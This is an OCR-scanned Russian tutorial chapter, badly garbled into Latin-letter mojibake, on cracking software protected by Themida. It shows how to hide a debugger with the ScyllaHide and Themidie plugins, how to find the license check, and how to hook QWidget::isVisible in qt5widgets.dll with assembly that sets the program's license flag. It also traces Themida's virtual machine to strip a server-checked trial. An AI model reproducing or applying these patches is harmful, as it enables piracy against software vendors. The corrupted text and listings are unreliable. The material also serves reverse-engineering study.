Clly4yasX 3TOro BIOJIHE AOCTATOYHO, OJHAKO Hall Claydall HempocToH. 3arpys3uB clIaM-
rieHHsIH ¢ain B IDA, Mbl 00Hapy»KHBaeM, YTO Hallle MPHUIIOKEHHE HEMIoXo o0¢yciu-
pOBaHO: Ha OOJIBIIMHCTBE BBI30BOB HMIOPTHUPYEMBIX (QYHKIHH (B 4YacCTHOCTH, Ha OHO-
JMOTEYHBIX BbI30Bax Qt, HAa KOTOPOM HamKCcaHa aHAJIM3HpyeMas HaMH NPOrpaMMma) CTOST
3arIyLIKH, BeAyILHe Ha U3PAIHOM IIMHBI LIeNoYKy 6e3yMHOro KoJa noJoOHoro Buaa:

00007FF6F4FA521D | ES9 DB2F5F00 | jmp 7FF6F55981FD
00007FF6F4FAS5222 | E9 ESE31D00 | jmp 7FF6F518360C
00007FF6F4FAS5227 | E9 25064500 | jmp 7FF6F53F5851
00007FF6F4FAS522C | E9 375E5900 | jmp 7FF6F553B068
00007FF6F4FA5231 | 73 D5 | jae TFF6F4FA5208
00007FF6F4FA5233 | CF | iretd

00007FF6F4FAS5234 | 0026 | add byte ptr ds:[rsi],ah
00007FF6F4FA5236 | 49:89ED | mov rl3,rbp
00007FF6F55981FD | 48:83EC 08 | sub rsp,8
00007FF6F5598201 | E9 E6DB0200 | jmp 7FF6F55C5DEC
00007FF6F55C5DEC | 48:83EC 08 | sub rsp,8
00007FF6F55CS5DF0 | 48:83EC 08 | sub rsp,8
00007FF6F55C5DF4 | 48:81EC 08000000 | sub rsp,8
00007FF6F55C5DFB | 48:891C24 | mov qword ptr ss:[rsp],rbx
00007FF6F55CS5DFF | 8F0424 | pop gqword ptr ss:[rsp]
00007FF6F55C5E02 | 8F0424 | pop gqword ptr ss:[rsp]
00007FF6F55C5E05 | E9 83000100 | jmp 7FF6F55D5E8D

IMTo-xopowemy Hamo Ob1 OTGHIBTPOBATH BCE apeca NOJOOHOro0 UMIOPTA U HamMcaTh Je-
06¢dyckartop, HO, yUHTBIBas HX KOJIMYECTBO, 33/1a4a BBIMIAIUT MyTOPHOH, a s obewan or-
HOCHUTEJIbHO NPOCTOH U KOMGOPTHBIH NyTh (HACKONBKO 3TO BO3MOXKHO BOOOLIE B Clydyae
CTOJIb Cepbe3HOM 3amuThl). [T03TOMY caMoe BpeMs NPUCTYNHUTh K aHalIu3y JIOTMKH IIpO-
rpaMMBl B Iipoliecce ee paboTsl, TO €CTh U3bICKaTh BO3MOXCHOCTD [UIS €€ TPaCCHPOBKH.
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ITo cyacThlO, YMHBIE JIIOAH YXKE€ MOJACYETHIHCh M CO3JANH I HAC YyAECHBIH IUIarHH
Themidie, xoTopsiii mo3Bonser GecnpobIEMHO TPaCCHPOBaTh MPHATTA4EHHBIH MPOIECC
mox Themida. Inf ero ucmnonb3oBaHHS HEOOXOOHMBI IOCIEIHHE BEPCHH OTIaId4HKa
x64dbg u mnarmna ScyllaHide, npo koropsie s mucan Beime. 3arpy3n ¢ GitHub
(https://github.com/VenTaz/Themidie) nocnemuioro Bepcuio Themidie ¥ u3BIEKH
Themidie.dll M Themidie.dp64 B Manky IutaruHoB x64dbg. B utore Tam momkHbl 0053a-
TENbHO  TNPHCYTCTBOBAaThH  4YeThlpe  (paiina: Themidie.dll,  Themidie.dp64,
HookLibraryx64.dll H ScyllaHideX64DBGPlugin.dp64.

3arpyxaem x64dbg u ¢ 4yBCTBOM IONHOrO YIOBIETBOPEHHs 0OHApYKHBAaeM B MOAMEHIO
Plugins (Moayaun) nononuurensHblii myHKT Themidie. B onuusax ScyllaHide oTkmroua-
eM Bce, kpome yekOokca Kill Anti-Attach (puc. 6.3).

3amyckaeM ucciexyeMyro nporpammy u3 noameHio Plugins -> Themidie -> Start. Ecin
MBI BC€ CIEJIAH MPaBHIIBHO, TO TOJKHO IMOSBUTHCS BOT Takoe OKHO (puc. 6.4).

[ScyllaHide Options] Profite: Disabled X

Profles : :

Laaded: [E__t.gu P el St A

Hde from PEB O  NGetcowexftitvead O  «EantiAtach M
- BeingDebr gged O MSetContextitvead O A EL
- HeapFiags 0O  Ncantme [0  Seedatodks
- NtGloba#Rlag B AmverpOpsthe [] prevent Theadgaation [
A []  Temngtooks RIrEeenE u

MiSetinformationThread [ ] GetTidkCaunt O

Sy GetSystemTime D

NTQuEY yQbrect O

17 i+ 0 Me=YSystenme O

s S 0 NQuevefconer O

OutputDebugStingA ] z

Hoddrput 0] D lnecton

Nl e FardMindon'y O  Osteath Injecion

M bt o &2 O = @ Namal injection

NitiserQueryWindow 0 Ouvoad after ouman

NtSetDel gFttState ]

NtCose ]

Copyright 2014 by Aquia / cyrthes

Pwc. 6.3. Hactpoiika nnaruHa Themidie

Themidie X

The executable is now loaded in the memory. You can attach
x64dbg to the target process.

Puc. 6.4. 3anyck nporpaMmb! B OTNagumnke




m) 99 0

Kaxk cnenyer u3 TekcTa B 3TOM OKOLIKE, IPOrpaMMa IpH 3alyCcKe He 3arpyxaeTcs cpasy B
otnaguuk (6osee TOro, ee ¥ NpH BCEM KEJIaHHH NPHHYAUTENBHO 3arpy3UTh HE MOJTYYHT-
cs — Themida cnanur Ham oTnagYuK mpH 3arpyske Aaxe Tak). OqHaKko K 3amyIeHHOR
CTOJIb XMTPHIM 00pa3oM mporpamMMe MOXKHO MPHATTayHThCs, MOCIE YEro CIOKOHHO CTa-
BUTb OpSKH M OTJIXXHBATh KOJ, HE 60jCh aHTHOT/IAAYHKA, YTO HaM, COOCTBEHHO, U Tpe-
6oBanock. Teneps, He UCHBITHIBAa HY MaJeHIIMX NPENATCTBHHA, 0OHapyXHBaeM B He0O-
¢bycuupoBaHHOM YacTH KoJa pa3BUiIKy 06Xo/ja MPOBEPKH JIMLIEH3UH:

00007FF630D5C10F call sub_7FF630D5D970
00007FF630D5C114 mov rdx, [rax]
00007FF630D5C117 mov rcx, rax
00007FF630D5C11A call gword ptr [rdx+8]
00007FF630D5C11D test al, al

00007FF630D5C11F jz loc_7FF630D5CEE4
00007FF630D5C125 lea rcx, [rsp+0EA8h+var 810]
00007FF630D5C12D call sub 7FF631797E20
00007FF630D5C132 Xor bl, bl

Ecnu Obl Ha NpHIOKEHUH He ObUTO HaBemeHo «DeMHIB», MOXKHO ObLIO GBI MUTH IIAM-
MAHCKOE: JIENIOB-TO — IMOMpPABUTh Napy 0alTHKOB yCIOBHOTO mepexona je. Ho TyT Haum-
HaeTrcs camoe HHTepecHoe. McxonHbIi koA y Hac 3amMdpoBaH U YMaKOBaH, PEBEPCHUTH
BUpTyanbHyto MamuHy Themida, kak Mbl yxe ycrnenu y6eauThcs, — Belllb JOCTaTOYHO
Tpynoemkas. IIpudecats U 100 ycUHpOBATh CIAMILICHHBIH YyTh paHblle KO, KOHEYHO,
YyTh JIeT4e, HO BCE paBHO 3aj1aya BBIMJISJUT BECbMa HEMPOCTOH.

CambIM JIerkMM BapHaHTOM Ka)XE€TCS HCIIOJIb30BAaHHUE JI0aJiepa Wi HHIaiH-maTya. YTo6s!
HE KOJUTH Jioazep, monpobyem BTopoi BapHaHT. CyTh B TOM, 4TO €CJIM HENb3s MpomaTt-
YUTh KOJ CaMOro 3aIUMINEHHOrO NPHJIOKEHUSA, TO MOXKHO NOnpoboBaTh clenaTh 3TO U3
Kakoi-HUOyp He3allMINEHHON BHemHed 6ubnuoreku, Gnaro Qt-mHbIX MO psgoM c
IpOrpaMMoOM BaiseTcs B H300MINH, U KOHTPOJIS LIEJTOCTHOCTH Ha HUX HeT. Crerka noko-
BBIpAB Koj, oOHapyxuBaeM Onmxadmui k Hanmed pasBuike 00¢yCUUPOBaHHBIH BHI3OB
GYHKIMH bool _ cdecl QWidget::isVisible (void) GMOIHOTEKH gt5widgets.dll.

00007FF6EE96BDAE 49:8BCF mov rcx,rl5

| I
00007FF6EE96BDB1 | FF15 B1B75401 | call gword ptr ds: [7FF6EFEB7568]
00007FF6EE96BDB7 | 84C0 | test al,al
00007FF6EES6BDBY | OF85 EB020000 | jne TFF6EE96COAA
00007FF6EE96BDBF | 48:8D8C24 20090000 | lea rcx,qword ptr ss: [rsp+920]

ITocne MMPOXOXACHUA BCceH IoCJICA0BAaTCIIBHOCTH 06(1)}’CIIPIpOBaHHOF 0 KOJa BBI3OB yImHpa-
€TCs B KOPOTCHBKYIO p€aln3alvio IIaHHOﬁ QJyHKL[HPI BHYTPHM gtSwidgets.dll, €€ KOJ MbI
Hu 6y11eM HCIIOJIB30BaTh AJIA aBTONIAaT4ya OCHOBHO# IpOorpaMmsal.

mov rax,qword ptr ds:[rcx+28]

mov eax,dword ptr ds:[rax+8]

shr eax,F

and al,l1l

ret
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Cnenyrouias CIIOKHOCTb 3aKJIHOYAETCS B TOM, YTO MBI HE MOKEM Tak MPOCTO B3ATh U MO-
NpaBUTh KOJ MCIOTHIEMOro Mpolecca U3 Hero ke. 3Ha4MT, Hal0 UCKaTh MepeMeHHbIE B
CeKUHH JaHHBIX, MpaBKa KOTOPHIX fAana Obl TOT ke 3ddekr. Mtak, HaM HagO AOOUTHCS,
YyTOOBI BEI30B METO1A

00007FF630D5C11A call gword ptr [rdx+8]

BO3Bpalial B AL HEHYJIEBOC 3HAYCHHUE. EIHC HEMHOTI'O IMOKOIMaBIWHCh B OTJIAAYHUKE, IIpE-
BpalIaeM JaHHbIH METOJ BOT B TaKyI0 IIOCJIEA0BATEIbHOCTb NEHCTBUM:

mov rcx,qword ptr ds:[7FF6F47F6EF8]

mov rcx,gword ptr ds:[rcx+10]

movzx eax,byte ptr ds:[rcx+AlE]

370 03HayaeT, 4To IJI TOro, 4ToObl MporpamMma MO4yBCTBOBaja ce0s JHLIEH3HOHHOM,
HY>KHO YCTaHOBHTbD 110 afipecy [[[7FF6F47F6EF8]+10]+A1E] 00O HEHYJIEBOE 3HAYEHHE
Oaiita (Harpumep, 1). AIrOpHUTM HaIIUX IEHCTBHIl TaKOB: :

1. BeInonHAEM HCXOOHBI KOJ METOJA bool _ cdecl QWidget::isVisible(void). Pe-
3yJIbTaT B PErHCTPE AL, PETHCTP RCX NPOrpaMME YK€ HE MHTEPECEH, Er0 MOXHO HC-
T0JIb30BaTh B CBOHMX LEJAX, YTO MBI H C/IENIAEM.

2. TlpoBepuM, U3 HYKHOTO JIH MecTa OB BBI3BAH METOJ isVisible. IIOCKOJBbKY CEKLHS
KOJIa CaUTCs KaXAbId pa3 Ha pasHble aapeca, caMoe MpocToe U Oosiee-MeHee Halex-
HOE — MPOBEPATH MOCIEeIHHE HECKOJILKO 0aiiToB anpeca (Hampumep, 16 our). Hcko-

3..Aﬂpec BbI30OBA MbI TAK)X€ HCIIOJb3YEM IJIA OTHOCHTEIbHOU aapecalun nepemeﬂﬂoﬁ
[7FF6F47F6EF8] . HecltoxHo MOCYHUTATh, UTO CMELIEHHE MEX Y €€ aJpECOM H aApECOM
BbI30BA PABHO 0x5AAB44C.

4. Ha Bcskuiil ciyyail npoBepsieM 3HauU€HHE 3TOM MepeMeHHON (Ha MOMEHT BBI30Ba Ha-
IIEero isvVisible OHA 3aPOCTO MOXKET OBITH €llle HE HHHIMAIH3HPOBaHA) M yCTaHAaB-
JIUBAEM 3HAuUeHHE [ [ [TFF6F47F6EF8]+10]+A1E] B 1.

Tenepb, Korna anropuT™M MOHATEH, HIIEM B KOJe OHOJIHOTEKH gtSwidgets.dll Onmxaii-
IIMH MyCcTON KyCOK AOCTaTOYHOH UIMHBI H YCTaHaBIHBaeM 00pabOTYMK isVisible Ha
Hero. [TonpaBneHHbIN U JONOTHEHHBIA KOJ isVisible BBIMISIAUT TaK:

00007FFDB8EFFO04F | 48:8B41 28 | mov rax,gword ptr ds:[rcx+28]
00007FFDB8EFF053 | 8B40 08 | mov eax,dword ptr ds:[rax+8]
00007FFDB8SEFF056 | ClE8 OF | shr eax,F

00007FFDB8EFF059 | 24 01 | and al,1 <- B AL pe3ynabTar
isVisible

00007FFDBBEFFO5B | 48:8B0C24 | mov rcx,gword ptr ss:[rsp] <-
Anpec BH30BA, TOYHEe, BO3BpaTa

00O007FFDBBEFFOSF | 81El FFFF0000 | and ecx, FFFF <- BepeMm OT Hero
Mramume 16 Bur. ..

00007FFDB8EFF066 | 48:81F9 B7BD0000 | cmp rcx,BDB7 <- U npoBepsaeM MX Ha

00007FFDBBEFFO06D | 74 01

je gtSwidgets.7FFDBS8EFF070
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00007FFDB8EFFO6F | C3 | ret <- Ecym BHBOB He
OTTYZIa TO HMYEIO He IeJlaeM U INPOCTO Bo3BpamaeMm AL

00007FFDBBEFF070 | 48:8B0C24 | mov rcx,qword ptr ss:[rsp] <-
Ampec BEI30Ba, TOYHee, BO3BpaTa

00007FFDBBEFF074 | 48:81C1 41B1E805 | add rcx,5E8B141 <- B rcx anpec
[7TFF6F47F6EF8]

00007FFDBS8EFFO07B | 48:8B09 | mov rcx,gword ptr ds:[rcx]
00007FFDB8EFFO7E | 48:85C9 | test rcx,rcx

00007FFDBSEFF081 | 74 EC | je qt5Swidgets.7FFDBSEFFO6F <-
Ecms [7FF6F47F6EF8] He MHMUMATM3MPOBAHA, TO TOXE HMYETO He nejiaeMm
00007FFDBBEFF083 | 48:8B49 10 | mov rcx,qword ptr ds: [rcx+10]
00007FFDBBEFF087 | C681 1EOA0000 01 | mov byte ptr ds:[rcx+AlE],1 <-
YcTaHaBMBaeM IPM3HAK JIMUEH3MPOBAaHHOCTM U Bo3Bpamaem AL

00007FFDBSEFF08E | C3 | ret

Bce 310 KaXkeTcs KaKMM-TO U3BPALEHHUEM, HO 3TO paboTaeT: BHEIIHAA CTaHIapTHas 616-
mvoteka Qt mpu oOpaleHHH K Heil U3 Hy>KHOro Mecra AejaeT HakpbiTylo Themida mpo-
rpaMMy <«JIMLEH3HOHHOMHY, faxce He MOOUGHLIHDPYS €€ KOJ.

S, KOHEYHO, He MPETEeHAYI0 Ha YHUCTOTY, MPaBUIBHOCTh M HAEXKHOCTH MPHBEIEHHOTO
BBIIIIE KOJa, HO, HA MO B3TJIsA, 3TO CaMbIH MPOCTOH W OBICTPHIH NMPUHIMII aBTOIMATYa,
npuroaHslii s o6xozxa He Tonpbko Themida, HO u moOOH Opyroil cepbe3HON 3aIIUTEL,
mu¢pyrouel Ko U MIPOBEPSIOLIEH €ro Hel0CTHOCTb.
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CHbl ®emuasbl.
Jlomaem BupTyansHyro mawmHy Themida

MBK

Themida cunTaercs OOHHM H3 CaMbIX CJIOXHBIX MHCTPYMEHTOB 3allUThl IPOrpaMM OT
HEJIMLEH3HOHHOTO KOIHPOBAaHHS — HE TOJIBKO H3-3a 00(yCKaluu H HAaBOPOYEHHBIX Me-
XaHM3MOB aHTHOTJIAAKH, HO M H3-3a LIMPOKOTrO MCHOJIB30BaHHS BHUpPTyalu3auuH. B mpe-
IbIAyLIed Ii1aBe MBI y3HalH, kak cOpocHTh TpHan B 3amuuieHHo# Themida mporpamme.
Teneps HacTaao BpeMs OKOBBIPATHCS B €€ BUPTYaJIbHOH MallIHHE.

BHUMAHMUE!

MaTepuan vmeeT 03HAKOMMUTENbHLIA XapakTep M MpegHasHadeH Ans chneuvanucToB no
6e3onacHoOCTH, NPOBOAALMX TECTUPOBAHWE B paMKkax KOHTpakTa. ABTOp U pedakuus He He-
CyT OTBETCTBEHHOCTM 3a N0GON Bped, NPUYUHEHHBIA C NPUMEHEHNEM U3NOXEHHON UHGOP-
mauuu. PacnpocTpaHeHue BpeaoHOCHbIX MporpaMm, HapylueHue paboTbl cUCTEM U Hapy-
LUEeHWe TalHbl Nepenmnckn NpecneayloTCcs Mo 3aKoHY.

Panee s yxe ymoMuHan 06 oIHOHM OYeHb 3JI0BPEJHOH OCOOEHHOCTH Cephe3HBIX IMPOTEK-
TOpPOB: YTOOBI OCJIOXHHUTB >KHU3Hb XaKkepam, pa3paboTyuku 00(yCUHPYIOT KpHUTHYECKHE
YYaCTKH CKOMIIMJIMPOBaHHOTO KOJa B MAaKpOKOMAaHIBl BHPTYaJbHOH MAIIHHBI, LIEIPO
pa3baBieHHBIE JOByIIKaMH U Oe3yMHbIM komoM. IlIpu TakoMm packiage o6veM koma Mo-
XET yBEeJIMYMBAThCA B THICAYM pa3, [ejas peBepc YyAOBHIIHO CIOXHBIM. Brob6aBok ero
MOJXHO J€JaTh MyTHPYIOLIHM, peaTu3ys OJHY U Ty )K€ KOMaHAy COTHSMH Pa3HBIX CIIOCO-
60B. Teneps nonpoOyem pazoOpathb Ooiee CI0XKHBIH cIOCO6 BUPTYyaIH3allHH Ha IPHMEpE
CHSATHS TPHaJa C OXHOTO U3 rpadHYECKHX IJIarHHOB.

Hrak, ycnoBus 3amayd: y Hac ecth 64-OutHas 6uOanoTeka, MpUBs3aHHAS K OIMpeaeseH-
HOMY O3HaKOMHTEJIBHOMY Iepuoay. XaasaBHbIH cOpoC TpHana, METOObI KOTOPOTO s OIH-
CBIBAJI B MPOLLJIOH IJIaBe, HEBO3MOXEH: IPH 3arpy3ke OGHOIHOTEKa CTYYHTCS Ha cepBep,
KOTOPBIH NPOBEPSAET TEKYIIYIO AaTy M JaeT JoOpo Ha 3amyck. [Ipu oTCyTCTBHH coenuHe-
HHA mporpamma npocto He paboraer. Kox ymakoBaH u 3amm¢poBaH, HCCIEIOBaHHIO B
ou3acceMbiiepe He MOMJIEKHT, HO JETEKTOPHl He BHAAT Ha HEM HHUKAKOrO H3BECTHOIO
nporekTopa. B obem, cHTyanus HaYHHAET CJIErka IMyraTh.

Ho MbI He u3 myrnuBeix! 3arpyxaeM nporpamMmy B Ham Jro0uMbI# oTiaguuk x64dbg u
IpH [OMOLIM OMHCAHHOTO MHOIO B NpPENBIAYLIMX CTaThAX 3aMEYaTeNIbHOTrO IUIarMHa
ScyllaHide noxbupaem aHTHaHTHOTIamouHyl0 KoHpurypamuwo (Themida). Temeps
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BKJIIOYaeM yxe onpoOoBaHHBIH HamH B 6osx miaruH Themidie M HakoHel mosydaem
BO3MO>KHOCTH ITOKOBBIPATHCS B PacIIHPpPOBAHHOM H PACIaKOBAHHOM KoJe (BKJIIOYAs ero
TpaccHpoBKy). UtoOsl paciumdpoBaHHbIN koA ObUI0 ynoOHee M3ydaTh, S COAMIIAN €ro
ellle OHUM OIHMCaHHBIM paHee MarnHoM — Scylla. Ecau tenepb MBI 3arpy3uMm ciaMm-
IUIEHHBIH koA B au3accembiep IDA, To yBUAMM NpHUMEPHO Takyo kapTuHy (puc. 7.1).

fle fdt Awmp Semch Yiw Debygoe W Qptisas  Windowa Hep ;

2] sub_ 102400768 reloc 00R0N1R0842¢ 70 81 £2 00 00 96 48 43 B9 £9 48+ 69 52M3CRMETFSOR, FEREAGIIBAABN, L0WRCIOPFLIOORD
(7] sub_t82400CEC | reloc 0600091009421 70 81 EC 08 06 DO 00 4C 83 OC 24 ase
% . 64 82 80 7F 48 99 3C 34 52+ g BIOGEFESINRETAIIRN, 4CACIROEIIZABAL, SFATSECIINEIRIEIN
7] sob 13220803 el OBAPRORIONSATI T 48 BA T2 46 BE JE 0O 08 06 86+ 64 20CBBMCI01ACTEN, BCIBDAISE41848741h, SCIB14900n, 8CICH]
sub_ISADCAS. reloc SOHOROVIBRGALI 70 48 BF 30 06 90 48 00 00 00 00 g L 4 3814,
¥l b dinddodhodr >

Puc. 7.1. CoamnneHHsi koa 8 guaaccembnepe |IDA

Berno B3MIsHYB Ha KapTy HalIero MOAYJsA, Mbl YBUAUM KOPOTEHBKYIO CHHIOIO MOJIOCKY
cneBa. OHa mMoACKa3bIBaeT, YTO B Hayaje MOIYJS COCPEAOTOYEH HOPMANbHBIH BMEHse-
MBI KO QYHKIHHA, KOTOPBIA MO KAaKUM-TO MPHYHHAM (OOBIYHO CKOPOCTH HUCIIOJHEHHS)
He nozaBeprcs BUpTyanu3auuu. Ilectpas monocka ¢ npeodiaagaHHeM KOPUYHEBOrO I[BETa
CIpaBa — LIMTBHIA KOJ BHPTyaubHOH MamuHbl Themida, nmepemexaromuiics o6paborun-
KaMH KOMaH]I.

IMo6poauB HEMHOTO OTJIAAYHKOM IO AeOpsM KOAA U CJIErKa pacCTPOUBIINCH, IEPEXOIUM
k Oonee nporpeccuBHOMY Metoay paboTsl. [TompoOyeM oTciaeauTs U MpOaHaTH3UPOBATh
TPacCy MEXIY BBI3LIBAEMBIMH HEBHPTYaJH3HPOBAHHBIMH (pyHKIHMSIMH. B kayectBe OT-
mpaBHOro myHkTa Oepem ¢ynkuuio HTTP-3anpoca yuieH3uu Ha cepBep, 6i1aro oHa mo
MOHATHBIM NpUYHHAM He 06¢ycuupoBana. CTaBUM Ha Hee TOYKY OCTaHOBA M IPHU ee J0C-
TokeHuH xMeM Ctrl-F9, BeimonHsas GyHKUHIO 10 Bo3BpaTa B 00pabOTYHK MIMTOrO KOAA,
U3 KOTOPOTO OHA BBI3bIBAETCA.

Ha Bxozme oOHapyXuBaeM Takoi OrpOMHBIH KyCOK O€CCMBICIEHHBIX KOMaHI, 4YTO €ro
Gecrniosie3HO NMBITaThCA MPONTH BPYYHYIO. BO3JIOKHM 3Ty TSKKYIO 3a7ady Ha OTJIAAYHK.
Hna atoro otkpoeM Bkianky «TpaccHpoBka» (KpalHss cnpaBa) M NpaBOM KHOIIKOM
MBI BbIOepeM «Ha4yaTh BhINOJIHEHHE TPACCHPOBKH». 3aTeM A1 OBICTPOTHI 3aITycKa-
eM TpaccupoBky uepe3 Ctrl-Alt-F8 (tpaccupoBka ¢ o6xonom). I[TamaTys o ToM, 4To He-
BHUPTYaJTH3HPOBAaHHBIN KO HaXOAUTCA B CEKLUMH C MEHBLIMMH aJpecaMH, B KauecTBe YcC-
JIOBHsSI OCTAHOBKH CTaBMM RIP IO Hayaja CEKLHH, COAEpXalled BHUPTYaIH3HpOBaHHBIH
kox (puc. 7.2).

B okne TpaCCHPOBKH LIYyCTPO mo6eXxaan MCIOoJHAEeMbIE KOMaHIbI, a BOT © OCTAHOBKAa Ha
CJIEAYIOILIEM BBI3OBE KaKoH-TO (l)yHKI.IHH. OFO, HaM norpeﬁonanacs napa A€CATKOB ThICAY
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11aroB, 4ToObl MPEOAONIETh MPOMEKYTOK Mex Iy HUMH! OTO Hac He myraer: nonpobyem
NPOAHANTHU3UPOBATH MOJYUYEHHYIO Tpaccy.

& Tpacenpoexa ¢ o6xopom... X
Ycnosue ocTaHosIo1: Ir'p < 0000 7FFD06303000|
TexcT xypHana: ]npwcep: 0x{p:cip} {:ap}

Ycnosue aoGan_emn u*ynm_an: Npurep: eax == 0 8B ebx ==

!

|

I

g ]

Yorosue ans Komanabi: Fbmep: eax == 0 &R ebx == j

Telxcr Mu: (Mpusep: eax=4;StepOut
Yenosiue nepexsoNermn; [npvmeo: mod.party(dis.branchdest{cp)) == J

COBET: NCTOPMA AOCTYNHA B KAMAOM TEKCTOBOM NOAE C NOHOWHLIO CTPENOK Beepx/Brm3

Puc. 7.2. Ctrasum RIP go Havana cekuun, cogepxaluei BUpTyanu3npoBaHHbIN Kog,

Jlns Hayana HacC MHTEpECyeT, KaKUM 00pa3oM pealin30BaHa IICEBJOKOMAH/a BbI30Ba He-
BUPTyaJIn3UpOoBaHHOHN PyHKUMH. B caMoM KOHLE Tpacchl HAXOAUM TaKol y4acTOK Koja,
COOTBETCTBYIOLLET0 00pabOTUHKY BbI30Ba (YHKLHH U KOy Nepexoja Ha Hero or obpa-
6oTynka npenplayuiel ncesrokoManasl. [lonpobyeM no HeMy MOHATH MPHHLHMN OEHCT-
BHUS BUPTYQJIbHOH MAIIIHHBI:

33DC | 00007FFDO71D113F | 48:89EF | mov rdi, rbp

<--- RBP yka3rBaeT Ha Tekyumi dperM Koma

33DD | O0007FFDO71D1142 | 48:81C7 36010000 | add rdi, 136

33DE | 00007FFD071D1149 | 0907 | or dword ptr ds:[rdi],eax
33DF | 00007FFDO71D114B | 48:25 FFFF0000 | and rax, FFFF RAX
16-6uTHEDT NMapaMeTp TeKyllel KOMaHIbl, MNPpeACTaBJIAnuMA coBon

33E0 | 00007FFD071D1151 | 48:C1EO0 03 | shl rax,3

<--- pyHOeKcC B Tabmmue 64-OUTHEIX aOpecoB OOpabOTUMKOB KOMAaHHO UMTOI'O KOIa

33E1 | 00007FFD071D1155 | 48:01C2 | add rdx,rax

<--- 06as30BBI ampec

33E2 | 00007FFD071D1158 | 4C:8B02 | mov r8,gword ptr ds: [rdx]
<--- 3JIEeMEHT [0 3TOMYy MHIOEKCY yKas3bBaeT Ha o0OpaboTuuk clenyouer KOMaHOpl, TO
ecTb 7FFD07011D20

33E3 | 00007FFDO71D115B | 48:89EB | mov rbx, rbp

33E4 | 00007FFDO71D115E | 48:81C3 EBO000OO | add rbx,EB

33E5 | 00007FFD0O71D1165 | 48:8103 22000000 | add gword ptr ds: [rbx], 22
<--- [RBP+EB] ykazareslb Ha TeKylyln KOMAaHOy LUMTOT'O koda, ee pas3Mmep 6wl 22h
6anTa, CIOBMHYTb €I'0 Ha CJIEOyKUYyl KOMaHIy

33E6 | O0007FFD071D116C | 41:FFEO | jmp r8 <--- nocrne uero
epenTrt Ha ee obpaboTuuk

33E7 | 00007FFD07011D20 | 48:C7C2 00000000 | mov rdx,0

33E8 | 00007FFD07011D27 | 49:89E8 | mov r8,rbp

33E9 | 00007FFDO7011D2A | 49:81C0 EB0O000OO | add r8,EB

33EA | 00007FFD07011D31 | 4D:8B00 | mov r8,qword ptr ds:[r8]
<--- R8=[RBP+EB] ykaszaTejylb Ha HOBYK KOMAHIy UMTOT'O KOIa
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33EB | 00007FFD07011D34 | 49:81C0 06000000 | add r8,6

33EC | 00007FFD07011D3R | 41:8B10 | mov edx,dword ptr ds:[r8]
<--- B RDX 32-OuTHeDM NapaMeTp NCEBIOKOMAaHIpl MO CMEUeHMo 6 OanT

33ED | OOOO7FFDO7011D3E | 48:89E9 | mov rcx,rbp

33EE | 00007FFD07011D41 | 48:81C1 01000000 | add rcx,1 <--- [RBP+1] <--
— Baz3oBBDT ampec MOIYJisS

33EF | 00007FFD07011D48 | 48:0311 | add rdx,gword ptr ds:[rcx]
<--- Ux cymma maeT abCOJIOTHBDA ampecC BhI3bIBAEMOM QyHKWMM B RDX

33F0 | 000O07FFDO7011D4B | 49:C7C6 00000000 | mov rl4,0

33F1 | 00007FFD07011D52 | 49:89E8 | mov r8, rbp

33F2 | O0007FFD07011D55 | 49:81C0 EB00000O | add r8,EBR

33F3 | 00007FFD07011D5C | 4D:8B00 | mov r8,gword ptr ds:[r8]
<--- R8=[RBP+EB] ykaszaTejib Ha TEKyUYyKn KOMaHIOy UMTOTO KOIa

33F4 | O00007FFDO7011DSF | 49:81C0O 04000000 | add r8,4

33F5 | 00007FFD07011D66 | 6645:8B30 | mov rldw,word ptr ds:([r8]
<--- B R14 16-OuTHBIM napaMeTp [NCEBIOKOMaHIH [0 CMelleHmo 4 BanTa

33F6 | O00007FFDO7011D6A | 49:01E6 | add rl4,rsp <--- 3TO
pasMep 3ape3epBMPOBAHHOIO MECTa B CTEKE I[I0J COXPAaHEHHBEIE DPETVCTPhI

33F7 | 00007FFD0O7011D6D | 49:8916 | mov gword ptr ds:[rl4],rdx
<--- Ampec BbI3REBaeMOM QyHKLMM Ha CTEK IJIS repexona

33F8 | 00007FFD07011D70 | 49:81C6 08000000 | add rl4,8 <-—- MecToO B

CTeKe OJid ajpeca BO3BpaTa M3 Hee

33F9 | 00007FFD07011D77 | 48:C7C2 00000000 | mov rdx,0

33FA | 00007FFDO7011D7E | 49:89E8 | mov r8,rbp

33FB | 00007FFD07011D81 | 49:81C0O EB00000O | add r8,EB

33FC | 00007FFD07011D88 | 4D:8B0O0 | mov r8,gqword ptr ds:[r8]
<--- R8=[RBP+EB] ykaszaTejlb Ha TEKyUYK KOMAaHIOy UMTOI'O KOOa

33FD | 00007FFD07011D8B | 49:81C0O 00000000 | add r8,0

33FE | 00007FFD07011D92 | 41:8B10 | mov edx,dword ptr ds:[r8]
<--- B RDX 32-OuTHBD! NapaMeTp NCEeBAOOKOMaHmpl O cMeuweHmo 0 BaiT

33FF | 00007FFD07011D95 | 48:89E8 | mov rax, rbp

|

3400 | 00007FFD07011D98 | 48:05 01000000 | add rax,1

f

3401 | OOOO7FFDO7011DOE | 48:0310 | add rdx,qword ptr ds:[rax]
<--- [RBP+1] — GazoBBBI amgpec MOOyJs, MX CyMMa IaeT

3402 | 00007FFDO7011DAl | 49:8916 | mov gword ptr ds:[rl4],rdx
<--- ampec BO3BpaTa M3 BbI3BIBAEMOM QYHKLMM Ha CTEK

3403 | O0007FFD07011DA4 | 48:89EB | mov rbx,rbp

3404 | 00007FFDO7011DA7 | 48:81C3 7F000000 | add rbx, 7F

3405 | 0O0007FFDO7011DAE | C703 00000000 | mov dword ptr ds:[rbx],0
<--- [lo Bcer BummmocTy, [RBP+7F] o¢mar peeHTepabenbHOCTN?

3406 | O0007FFD07011DB4 | 41:58 | pop r8

3407 | 000Q7FFD07011DB6 | 41:59 | pop r9

3408 | 00007FFDO7011DB8 | 41:5A | pop rl0

3409 | 00007FFDO7011DBA | 41:5B | pop rll

340A | 00007FFDO7011DBC | 41:5C | pop rl2

340B | 00O0Q7FFD07011DBE | 41:5D | pop rl3

340C | O0007FFD07011DCO | 41:5E | pop rléd

340D | 00007FFD0O7011DC2 | 41:5F | pop rl5
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340E | 00007FFD07011DC4 | SF | pop rdi

340F | 00007FFD07011DC5 | SE | pop rsi

3410 | 00007FFD07011DC6 | 5D | pop rbp

3411 | 00007FFD07011DC7 | SB | pop rbx

3412 | 00007FFD07011DC8 | 5A | pop rdx

3413 | 00007FFD07011DCY | 59 | pop rcx

3414 | 00007FFDO7011DCA | 58 | pop rax

3415 | 00007FFD07011DCB | 9D | popfq

3416 | 00007FFD07011DCC | C2 0000 | ret 0 <--- Mepeittn k

